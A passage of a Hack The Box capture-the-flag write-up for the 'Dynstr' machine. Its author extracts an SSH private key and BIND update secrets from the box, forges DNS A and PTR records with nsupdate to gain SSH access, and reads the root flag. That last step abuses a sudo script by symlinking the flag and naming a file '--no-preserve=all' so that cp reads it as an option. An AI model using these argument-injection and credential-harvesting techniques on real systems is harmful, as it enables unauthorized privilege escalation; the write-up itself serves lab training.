ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
Let's go ahead with the results of linpeas and as the next points we find a couple of interesting files, in which I find written "BEGIN OPENSSH PRIVATE KEY". Let's copy them on our machine for a more comfortable reading and proceed.
- /home/bindmgr/support-case-C62796521/strace-C62796521.txt
- /home/bindmgr/support-case-C62796521/C62796521-debugging.script
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.244 - Dynstr (lin)/attack/upload]
└─$ grep -in BEGIN strace-C62796521.txt
897:15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
Well, everything depends on whether the key in question is the private key of the one inserted among the keys authorized to connect via ssh.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.244 - Dynstr (lin)/attack/upload]
└─$ grep -in AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7 strace-C62796521.txt
876:15123 read(5, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen\n", 4096) = 395
878:15123 read(5, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen\n", 4096) = 395
Let's say that given the proximity of the two results (see the line number) there is a strong probability that it is what was hoped for. Ok, let's extract the key and create a private key to be used shortly to connect via ssh.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
As we said, before proceeding however, we must register our sub-domain in the DNS server. Unfortunately, if you remember the code, infra.dyna.htb did not appear among the valid domains (which be the one that the ssh protocol on this machine accepts), I don't think it will be so easy to register the domain through the online tool; and in fact:
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.244 - Dynstr (lin)]
└─$ curl -X POST "http://dynadns:[email protected]/nic/update?hostname=in7rud3r.infra.dyna.htb" -v
* Trying 10.10.10.244:80...
* Connected to dyna.htb (10.10.10.244) port 80 (#0)
* Server auth using Basic with user 'dynadns'
> POST /nic/update?hostname=in7rud3r.infra.dyna.htb HTTP/1.1
> Host: dyna.htb
> Authorization: Basic ZHluYWRuczpzbmRhbnlk
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 28 Jun 2021 11:11:53 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 30
< Content-Type: text/html; charset=UTF-8
<
911 [wrngdom: infra.dyna.htb]
* Connection #0 to host dyna.htb left intact
Perhaps it is appropriate to proceed with the registration from the command line through the reverse shell, but first, let's try to better understand how the update code works in order to reproduce it at its best.
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
The command used is nsupdate, which is passed a credential key (/etc/bind/ddns.key).
www-data@dynstr:/var/www/html/nic$ cat /etc/bind/ddns.key
cat /etc/bind/ddns.key
key "ddns-key" {
algorithm hmac-sha256;
secret "K8VF/NCIy5K4494l2w09Kib7oEcjdjdF7m4dXSI8vhI=";
};
Let's see if the command line help suggests some other info.
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate --help
/usr/bin/nsupdate --help
/usr/bin/nsupdate: illegal option -- -
/usr/bin/nsupdate: invalid argument --
usage: nsupdate [-dDi] [-L level] [-l][-g | -o | -y keyname:secret | -k keyfile] [-v] [-V] [-P] [-T] [-4 | -6] [filename]
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -V
/usr/bin/nsupdate -V
nsupdate 9.16.1-Ubuntu
Not much, I would say. By rebuilding the command string when the URL is called, changing the right key files for the infrastructure domain (that I found in the same folder the default key), we get the following:
echo "server 127.0.0.1\nzone infra.dyna.htb\nupdate delete in7rud3r.infra.dyna.htb\nupdate add in7rud3r.infra.dyna.htb 30 IN A 10.10.15.121\nsend" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
Unfortunately, when passing commands this way to the insupdate, there seems to be something wrong.
www-data@dynstr:/var/www/html/nic$ echo "server 127.0.0.1\nzone infra.dyna.htb\nupdate delete in7rud3r.infra.dyna.htb\nupdate add in7rud3r.infra.dyna.htb 30 IN A 10.10.15.121\nsend" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
<nd" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
port 'infra.dyna.htb\nupdate' is not numeric
syntax error
However, the command also provides an interactive mode, let's try to see if we are luckier.
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
server 127.0.0.1
zone infra.dyna.htb
update delete in7rud3r.infra.dyna.htb
update add in7rud3r.infra.dyna.htb 30 IN A 10.10.15.121
send
update failed: NOTAUTH
exit
incorrect section name: exit
syntax error
Ok, we took a small step forward, let's see if we can find documentation about it.
Apparently, you don't need all those commands, but something simpler should suffice.
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
update delete in7rud3r.infra.dyna.htb
update add in7rud3r.infra.dyna.htb 86400 A 10.10.15.121
send
quit
www-data@dynstr:/var/www/html/nic$ ping in7rud3r.infra.dyna.htb
ping in7rud3r.infra.dyna.htb
PING in7rud3r.infra.dyna.htb (10.10.15.121) 56(84) bytes of data.
64 bytes from 10.10.15.121 (10.10.15.121): icmp_seq=1 ttl=63 time=40.2 ms
64 bytes from 10.10.15.121 (10.10.15.121): icmp_seq=2 ttl=63 time=40.7 ms
64 bytes from 10.10.15.121 (10.10.15.121): icmp_seq=3 ttl=63 time=39.3 ms
Great, it's easier if we use the nslookup command, anyway.
www-data@dynstr:/var/www/html/nic$ nslookup in7rud3r.infra.dyna.htb
nslookup in7rud3r.infra.dyna.htb
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: in7rud3r.infra.dyna.htb
Address: 10.10.15.121
However, there is still something wrong; trying to connect in ssh, I am still prompted for the password. I'm probably showing up with my IP address and the A record I entered in DNS is for resolving the address from the domain name, but not the countrary. I remember something about it when I set up my old company's DNS for a short time, let's see if I can figure it out.
https://en.wikipedia.org/wiki/List_of_DNS_record_type
Great, it would seem that I need to set up a PTR record:
Pointer to a canonical name. Unlike a CNAME, DNS processing stops and just the name is returned. The most common use is for implementing reverse DNS lookups, but other uses include such things as DNS-SD.
I prefer the version translated from Italian (clearer):
Pointer to a canonical name used for reverse DNS resolution. By entering a PTR record for a canonical domain name in the in-addr.arpa zone. (ip6.arpa. in the case of IPv6) makes it possible to trace the host name from its IP address.
To better understand how to configure the PTR record, I suggest you read the link below.
https://www.cloudflare.com/it-it/learning/dns/dns-records/dns-ptr-record/
Let's go back to the reverse shell and add the missing record... and cross our fingers.
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
update add 121.15.10.10.in-addr.arpa 86400 PTR in7rud3r.infra.dyna.htb
send
quit
www-data@dynstr:/var/www/html/nic$ nslookup 10.10.15.121
nslookup 10.10.15.121
121.15.10.10.in-addr.arpa name = in7rud3r.infra.dyna.htb.
It seems to have gone well and confirmation comes from the ssh connection.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.244 - Dynstr (lin)/attack/ssh]
└─$ ssh -i id_rsa [email protected]
Last login: Mon Jun 28 13:35:20 2021 from anything.infra.dyna.htb
bindmgr@dynstr:~$ cat user.txt
9******************************f
And half the work is done, let's see what we can break... no, do... without specifying the root password.
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
Needless to say, we have found what the goal of the other half of the work will be. Let's see what's in this script that can be run with elevated privileges without specifying the password.
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
Well, the comments at the top of the file speak quite clearly, but we will, however, have the opportunity to analyze the file to find some vulnerabilities. Looking for the .version file mentioned in the script that is initially loaded (I had seen it just before in the home folder of the user bindmgr, but after an unexpected restart the file disappeared, evident sign that it had been placed there by some other user to get the elevation of privilege, along with another file, whose name seemed somewhat strange to me, but let's go ahead, we'll come back to that too), I find out where it is located and its contents.
bindmgr@dynstr:~$ find / -name .version 2> /dev/null
/etc/.version
bindmgr@dynstr:~$ cat /etc/.version
42
Ok, the best approach, however, is always (mmm...) the practice, so let's try to run the script and see what happens.
bindmgr@dynstr:~$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[-] ERROR: Check versioning. Exiting.
Rereading the code it seems that the process retrieves the .version file and all the other files inside the folder and then copies them to the bind folder, generating a configuration file that points to them which is subsequently verified through a specific application (named-checkconf). Perfect, let's try to insert some random files and see what happens.
bindmgr@dynstr:~$ mkdir in7-tmp
bindmgr@dynstr:~$ cd in7-tmp/
bindmgr@dynstr:~/in7-tmp$ echo "42" > .version
bindmgr@dynstr:~/in7-tmp$ echo "this is my first file" > bind1.txt
bindmgr@dynstr:~/in7-tmp$ ls -la
total 16
drwxrwxr-x 2 bindmgr bindmgr 4096 Jun 29 13:11 .
drwxr-xr-x 6 bindmgr bindmgr 4096 Jun 29 13:10 ..
-rw-rw-r-- 1 bindmgr bindmgr 22 Jun 29 13:11 bind1.txt
-rw-rw-r-- 1 bindmgr bindmgr 3 Jun 29 13:10 .version
bindmgr@dynstr:~/in7-tmp$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/in7-tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bind1.txt:1: unknown option 'this'
/etc/bind/named.conf.bindmgr:3: unexpected token near end of file
The copied files remain in the folder for a few minutes, obviously the errors reported by the tool are inherent to the files I have inserted, which have nothing to do with valid configuration files. However, let's try to understand how to exploit this in our favor. The goal is to retrieve the root flag. I can't find anything simpler than putting the file in the folder to allow you to copy it, not being able to copy it directly, I try to create a sym-link and see if the copy is successful.
bindmgr@dynstr:~/in7-tmp$ ln -sf /root/root.txt explfile
bindmgr@dynstr:~/in7-tmp$ ls -la
total 12
drwxrwxr-x 2 bindmgr bindmgr 4096 Jun 29 15:46 .
drwxr-xr-x 6 bindmgr bindmgr 4096 Jun 29 15:31 ..
lrwxrwxrwx 1 bindmgr bindmgr 14 Jun 29 15:46 explfile -> /root/root.txt
-rw-rw-r-- 1 bindmgr bindmgr 3 Jun 29 13:10 .version
bindmgr@dynstr:~/in7-tmp$ sudo /usr/local/bin/bindmgr.sh; ls -la /etc/bind/named.bindmgr; cat /etc/bind/named.bindmgr/explfile
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/in7-tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/explfile:1: unknown option '9f6312d249a27bdea4f386f24c7940...'
/etc/bind/named.conf.bindmgr:3: unexpected token near end of file
total 16
drwxr-sr-x 2 root bind 4096 Jun 29 15:46 .
drwxr-sr-x 3 root bind 4096 Jun 29 15:46 ..
-r-------- 1 root bind 33 Jun 29 15:46 explfile
-rw-r--r-- 1 root bind 3 Jun 29 15:46 .version
cat: /etc/bind/named.bindmgr/explfile: Permission denied
The series of commands I executed includes, in addition to the script launched via sudo, the listing of the destination folder and an attempt to read the flag (which, however, I am almost certain that I will not be able to read the file due to permissions problems, having copied it from the root folder). In reality I get a surprise but it leaves a bad taste: the root flag is shown in the error message of the configuration file verification tool, but it is a pity that the last two characters are missing.
After trying in vain, how to increase the number of characters of the error message, I try to go another way. Basically the flag file is available in the binding folder, but with root permissions. What I need is to copy the file, letting it inherit the folder permissions (which seem to be more favorable to my needs).
Ok, it looks like I'll have to add the "--no-preserve=all" argument to the copy command (and I'll reveal the mysterious file found in the user's folder shortly). Obviously I can't modify the script (I don't have the permissions), I tried to pass the argument to the script in several ways, hoping it would pass it to the commands inside the script (sudo /usr/local/bin/bindmgr.sh --no-preserve=all or sudo /usr/local/bin/bindmgr.sh - --no-preserve=all), but with no results.
It's time to reveal the mysterious file that I found at the beginning of my penetration activity on this BOX. Inside the home folder, next to the .version file, there was a file named '--preserve=mode'. The --preserve=mode argument always applies to the copy command (cp) and serves to do exactly the opposite of what --no-preserve=all does, ie it keeps the original file properties.
[...]
-p same as --preserve=mode,ownership,timestamps
--preserve[=ATTR_LIST] preserve the specified attributes (default:
mode,ownership,timestamps), if possible
additional attributes: context, links, xattr,
all
--no-preserve=ATTR_LIST don't preserve the specified attributes
--parents use full source file name under DIRECTORY
[...]
Now, I don't know exactly what the type of attack carried out by other users is, but it provides exactly the opposite technique to the one I am carrying out, I will investigate trying to understand, but at the moment it is not so important. In any case, it appears that it's possible to pass a parameter to the copy command within the script, passing it off as a file. I don't know if it will work, but it's worth a try. The creation of the file in question can be done with the command echo> --no-preserve=all. Well let's try.
bindmgr@dynstr:~/in7-tmp$ sudo /usr/local/bin/bindmgr.sh; ls -la /etc/bind/named.bindmgr; cat /etc/bind/named.bindmgr/explfile
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/in7-tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/explfile:1: unknown option '3*****************************...'
total 16
drwxr-sr-x 2 root bind 4096 Jun 29 22:32 .
drwxr-sr-x 3 root bind 4096 Jun 29 22:32 ..
-rw-r--r-- 1 root bind 33 Jun 29 22:32 explfile
-rw-r--r-- 1 root bind 3 Jun 29 22:32 .version
3******************************b
Wooo... it seems to have worked, it is possible to notice that in the destination folder only two files have been copied, the .version and the root flag file.
Well, this BOX has also been penetrated, another notch on our belt. That's all folks, happy hacking until the next BOX.